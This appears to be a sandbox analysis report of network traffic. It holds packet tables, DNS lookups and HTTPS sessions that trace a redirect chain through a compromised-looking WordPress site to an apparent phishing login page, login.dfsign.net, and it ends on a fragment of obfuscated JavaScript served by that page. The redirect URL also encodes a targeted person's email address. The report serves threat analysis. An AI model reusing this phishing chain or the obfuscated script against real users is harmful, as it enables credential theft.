Jan 7, 2025 14:50:18.379106045 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:18.379169941 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:18.379262924 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:18.379517078 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:18.379528999 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.021470070 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.021842003 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.021867037 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.022875071 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.022952080 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.023212910 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.023267031 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.023437977 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.023446083 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.063489914 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.526910067 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.527061939 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.527132988 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.527172089 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.527172089 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:19.527189016 CET	443	49797	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:19.527240992 CET	49797	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:28.437211990 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:28.437249899 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:28.437356949 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:28.437609911 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:28.437625885 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.092817068 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.093318939 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:29.093343019 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.093624115 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.094662905 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:29.094722033 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.095326900 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:29.143338919 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.605504990 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.605812073 CET	49798	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:29.605839968 CET	443	49798	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:29.605943918 CET	49798	443	192.168.2.16	104.248.23.102

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 14:48:31.600711107 CET	53	60461	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:31.670604944 CET	53	52587	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:32.493834972 CET	53647	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:32.494107962 CET	54713	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:32.673158884 CET	53	65402	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:33.084194899 CET	53	53647	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:33.168778896 CET	53	54713	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:34.560837030 CET	60075	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:34.561031103 CET	53793	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:34.724965096 CET	53	60075	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:35.245134115 CET	53	53793	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:36.384185076 CET	62319	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:36.384453058 CET	59455	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:36.449412107 CET	53	59455	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:36.449496031 CET	53	62319	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:38.186939955 CET	60318	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:38.187094927 CET	52329	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:38.198175907 CET	53	60318	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:38.198549032 CET	53	52329	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:41.802330017 CET	60150	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:41.802547932 CET	56608	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:41.817374945 CET	53	56608	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:41.971045017 CET	53	60150	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:43.376765013 CET	55101	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:43.376914024 CET	60348	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:43.412249088 CET	53	55101	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:43.412337065 CET	53	60348	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:44.711774111 CET	59245	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:44.711925983 CET	62527	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:44.723845005 CET	53	59245	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:44.745193958 CET	53	62527	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:45.228426933 CET	62497	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:45.229183912 CET	57775	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:45.237509012 CET	53	62497	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:45.243567944 CET	53	57775	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:47.013549089 CET	60632	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:47.013612032 CET	50968	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:47.028449059 CET	53	60632	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:47.049480915 CET	53	50968	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:48.983879089 CET	57779	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:48.984107018 CET	51906	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:48.993840933 CET	53	57779	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:48.993969917 CET	53	51906	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:49.562693119 CET	53	57086	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:51.143335104 CET	59839	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:51.143559933 CET	60211	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:51.151730061 CET	53	59839	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:51.176018000 CET	53	60211	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:52.302253008 CET	65383	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:52.302428961 CET	58123	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:52.310250998 CET	53	65383	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:52.337527990 CET	53	58123	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:55.168782949 CET	54088	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:55.169008017 CET	60992	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:55.177515984 CET	53	54088	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:55.181515932 CET	53	60992	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:57.390404940 CET	62608	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:57.390842915 CET	63593	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:57.399775028 CET	53	63593	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:57.404841900 CET	53	62608	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:57.496511936 CET	53	60916	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:58.156124115 CET	50460	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:58.156322956 CET	51094	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:58.164293051 CET	53	50460	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:58.168452978 CET	53	51094	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:58.502615929 CET	58994	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:58.502753973 CET	51784	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:48:58.513545990 CET	53	51784	1.1.1.1	192.168.2.16
Jan 7, 2025 14:48:58.514054060 CET	53	58994	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:00.807498932 CET	55189	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:49:00.807651997 CET	62923	53	192.168.2.16	1.1.1.1
Jan 7, 2025 14:49:00.814769983 CET	53	55189	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:00.816396952 CET	53	62923	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:08.289921045 CET	53	62260	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:31.136895895 CET	53	60233	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:31.597915888 CET	53	61711	1.1.1.1	192.168.2.16
Jan 7, 2025 14:49:37.993107080 CET	138	138	192.168.2.16	192.168.2.255
Jan 7, 2025 14:50:02.079590082 CET	53	60061	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 7, 2025 14:48:33.168977976 CET	192.168.2.16	1.1.1.1	c25a	(Port unreachable)	Destination Unreachable
Jan 7, 2025 14:48:35.245253086 CET	192.168.2.16	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable
Jan 7, 2025 14:48:44.745271921 CET	192.168.2.16	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable
Jan 7, 2025 14:48:47.049583912 CET	192.168.2.16	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Jan 7, 2025 14:48:51.176114082 CET	192.168.2.16	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable
Jan 7, 2025 14:48:52.337603092 CET	192.168.2.16	1.1.1.1	c232	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 14:48:32.493834972 CET	192.168.2.16	1.1.1.1	0x4919	Standard query (0)	www.clubgets.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:32.494107962 CET	192.168.2.16	1.1.1.1	0x7c97	Standard query (0)	www.clubgets.com	65	IN (0x0001)	false
Jan 7, 2025 14:48:34.560837030 CET	192.168.2.16	1.1.1.1	0xa5f1	Standard query (0)	zion.com.sg	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:34.561031103 CET	192.168.2.16	1.1.1.1	0x14b8	Standard query (0)	zion.com.sg	65	IN (0x0001)	false
Jan 7, 2025 14:48:36.384185076 CET	192.168.2.16	1.1.1.1	0x5225	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:36.384453058 CET	192.168.2.16	1.1.1.1	0x6bb5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 7, 2025 14:48:38.186939955 CET	192.168.2.16	1.1.1.1	0x79e6	Standard query (0)	login.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:38.187094927 CET	192.168.2.16	1.1.1.1	0xd12	Standard query (0)	login.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:41.802330017 CET	192.168.2.16	1.1.1.1	0x8342	Standard query (0)	9676170e-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:41.802547932 CET	192.168.2.16	1.1.1.1	0xa9ea	Standard query (0)	9676170e-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:43.376765013 CET	192.168.2.16	1.1.1.1	0xb7d2	Standard query (0)	9676170e-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:43.376914024 CET	192.168.2.16	1.1.1.1	0x5914	Standard query (0)	9676170e-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:44.711774111 CET	192.168.2.16	1.1.1.1	0xbaa3	Standard query (0)	00459cc6-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:44.711925983 CET	192.168.2.16	1.1.1.1	0xc3c5	Standard query (0)	00459cc6-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:45.228426933 CET	192.168.2.16	1.1.1.1	0xc08a	Standard query (0)	03e75177-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:45.229183912 CET	192.168.2.16	1.1.1.1	0xe960	Standard query (0)	03e75177-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:47.013549089 CET	192.168.2.16	1.1.1.1	0x7aae	Standard query (0)	l1ve.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:47.013612032 CET	192.168.2.16	1.1.1.1	0x80dc	Standard query (0)	l1ve.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:48.983879089 CET	192.168.2.16	1.1.1.1	0xd2f6	Standard query (0)	03e75177-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:48.984107018 CET	192.168.2.16	1.1.1.1	0xe3e3	Standard query (0)	03e75177-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:51.143335104 CET	192.168.2.16	1.1.1.1	0xf478	Standard query (0)	58fdca4b-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:51.143559933 CET	192.168.2.16	1.1.1.1	0xb455	Standard query (0)	58fdca4b-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:52.302253008 CET	192.168.2.16	1.1.1.1	0xbe6a	Standard query (0)	login.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:52.302428961 CET	192.168.2.16	1.1.1.1	0x716c	Standard query (0)	login.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:55.168782949 CET	192.168.2.16	1.1.1.1	0xf5d0	Standard query (0)	5eddaa21-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:55.169008017 CET	192.168.2.16	1.1.1.1	0x28d8	Standard query (0)	5eddaa21-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:57.390404940 CET	192.168.2.16	1.1.1.1	0xd323	Standard query (0)	9b4922d2-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:57.390842915 CET	192.168.2.16	1.1.1.1	0x563a	Standard query (0)	9b4922d2-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:58.156124115 CET	192.168.2.16	1.1.1.1	0xdd94	Standard query (0)	8ae57709-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:58.156322956 CET	192.168.2.16	1.1.1.1	0xcd3a	Standard query (0)	8ae57709-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:48:58.502615929 CET	192.168.2.16	1.1.1.1	0x5819	Standard query (0)	9b4922d2-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:58.502753973 CET	192.168.2.16	1.1.1.1	0x857f	Standard query (0)	9b4922d2-b5027fcd.dfsign.net	65	IN (0x0001)	false
Jan 7, 2025 14:49:00.807498932 CET	192.168.2.16	1.1.1.1	0xe9ba	Standard query (0)	8ae57709-b5027fcd.dfsign.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:49:00.807651997 CET	192.168.2.16	1.1.1.1	0x7631	Standard query (0)	8ae57709-b5027fcd.dfsign.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 14:48:33.084194899 CET	1.1.1.1	192.168.2.16	0x4919	No error (0)	www.clubgets.com	e5avps89.iimwf.biz		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 14:48:33.084194899 CET	1.1.1.1	192.168.2.16	0x4919	No error (0)	e5avps89.iimwf.biz		210.138.145.62	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:33.168778896 CET	1.1.1.1	192.168.2.16	0x7c97	No error (0)	www.clubgets.com	e5avps89.iimwf.biz		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 14:48:34.724965096 CET	1.1.1.1	192.168.2.16	0xa5f1	No error (0)	zion.com.sg		101.100.204.200	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:36.449412107 CET	1.1.1.1	192.168.2.16	0x6bb5	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 7, 2025 14:48:36.449496031 CET	1.1.1.1	192.168.2.16	0x5225	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:38.198175907 CET	1.1.1.1	192.168.2.16	0x79e6	No error (0)	login.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:41.971045017 CET	1.1.1.1	192.168.2.16	0x8342	No error (0)	9676170e-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:43.412249088 CET	1.1.1.1	192.168.2.16	0xb7d2	No error (0)	9676170e-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:44.723845005 CET	1.1.1.1	192.168.2.16	0xbaa3	No error (0)	00459cc6-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:45.237509012 CET	1.1.1.1	192.168.2.16	0xc08a	No error (0)	03e75177-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:47.028449059 CET	1.1.1.1	192.168.2.16	0x7aae	No error (0)	l1ve.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:48.993840933 CET	1.1.1.1	192.168.2.16	0xd2f6	No error (0)	03e75177-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:51.151730061 CET	1.1.1.1	192.168.2.16	0xf478	No error (0)	58fdca4b-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:52.310250998 CET	1.1.1.1	192.168.2.16	0xbe6a	No error (0)	login.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:55.177515984 CET	1.1.1.1	192.168.2.16	0xf5d0	No error (0)	5eddaa21-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:57.404841900 CET	1.1.1.1	192.168.2.16	0xd323	No error (0)	9b4922d2-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:58.164293051 CET	1.1.1.1	192.168.2.16	0xdd94	No error (0)	8ae57709-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:48:58.514054060 CET	1.1.1.1	192.168.2.16	0x5819	No error (0)	9b4922d2-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:49:00.814769983 CET	1.1.1.1	192.168.2.16	0xe9ba	No error (0)	8ae57709-b5027fcd.dfsign.net		104.248.23.102	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.clubgets.com

zion.com.sg

https:

9676170e-b5027fcd.dfsign.net

03e75177-b5027fcd.dfsign.net

l1ve.dfsign.net

58fdca4b-b5027fcd.dfsign.net

5eddaa21-b5027fcd.dfsign.net

9b4922d2-b5027fcd.dfsign.net

8ae57709-b5027fcd.dfsign.net

00459cc6-b5027fcd.dfsign.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	210.138.145.62	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:34 UTC	817	OUT	GET /pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m HTTP/1.1 Host: www.clubgets.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:34 UTC	736	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 07 Jan 2025 13:42:08 GMT Set-Cookie: agent=%2A%2A%2A%2A%2A%260018; expires=Wed, 08-Jan-2025 13:42:08 GMT; Max-Age=86400 Location: https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: TS017dae5d=01110a4a23fcf93d72b56a4c40a4ad843cd0384ee6db9dde6ec53a6cf1d883b7ca245b32e44da987add480d1bad9b4de53fe0f8965; Path=/; Set-Cookie: TSd7ca7570027=089f4f590dab200025acd26f5a495be7bb4f1c1049d57617abfe86b634be4c9659e4bec9abc56a6c0879da75a3113000f9b50d637013ace194c8ecd84845ebc35ee61023f1958fa0e2b6a9ef3f8af0ab2f15303cd9bd343521916d330e8bd5b5; Path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	101.100.204.200	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:35 UTC	744	OUT	GET /gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m HTTP/1.1 Host: zion.com.sg Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:36 UTC	529	IN	HTTP/1.1 302 Found Date: Tue, 07 Jan 2025 13:48:35 GMT Server: Apache X-Powered-By: PHP/8.3.14 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://zion.com.sg/wp-json/>; rel="https://api.w.org/" X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://zion.com.sg/wp-direct.php?code=gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49711	101.100.204.200	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:37 UTC	763	OUT	GET /wp-direct.php?code=gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m HTTP/1.1 Host: zion.com.sg Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:38 UTC	378	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 07 Jan 2025 13:48:37 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Location: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49714	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:38 UTC	726	OUT	GET /?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t HTTP/1.1 Host: login.dfsign.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:39 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2025-01-07 13:48:39 UTC	16203	IN	Data Raw: 37 37 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 74 35 28 74 2c 7a 29 7b 76 61 72 20 62 3d 61 30 74 34 28 29 3b 72 65 74 75 72 6e 20 61 30 74 35 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 6b 29 7b 72 3d 72 2d 30 78 64 33 3b 76 61 72 20 6a 3d 62 5b 72 5d 3b 72 65 74 75 72 6e 20 6a 3b 7d 2c 61 30 74 35 28 74 2c 7a 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 30 74 34 28 29 7b 76 61 72 20 79 39 3d 5b 27 62 75 66 66 65 72 27 2c 27 49 6e 63 6f 6d 70 61 74 69 62 6c 65 5c 78 32 30 72 65 63 65 69 76 65 72 2c 5c 78 32 30 27 2c 27 67 65 74 46 75 Data Ascii: 77f5<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> function a0t5(t,z){var b=a0t4();return a0t5=function(r,k){r=r-0xd3;var j=b[r];return j;},a0t5(t,z);}function a0t4(){var y9=['buffer','Incompatible\x20receiver,\x20','getFu
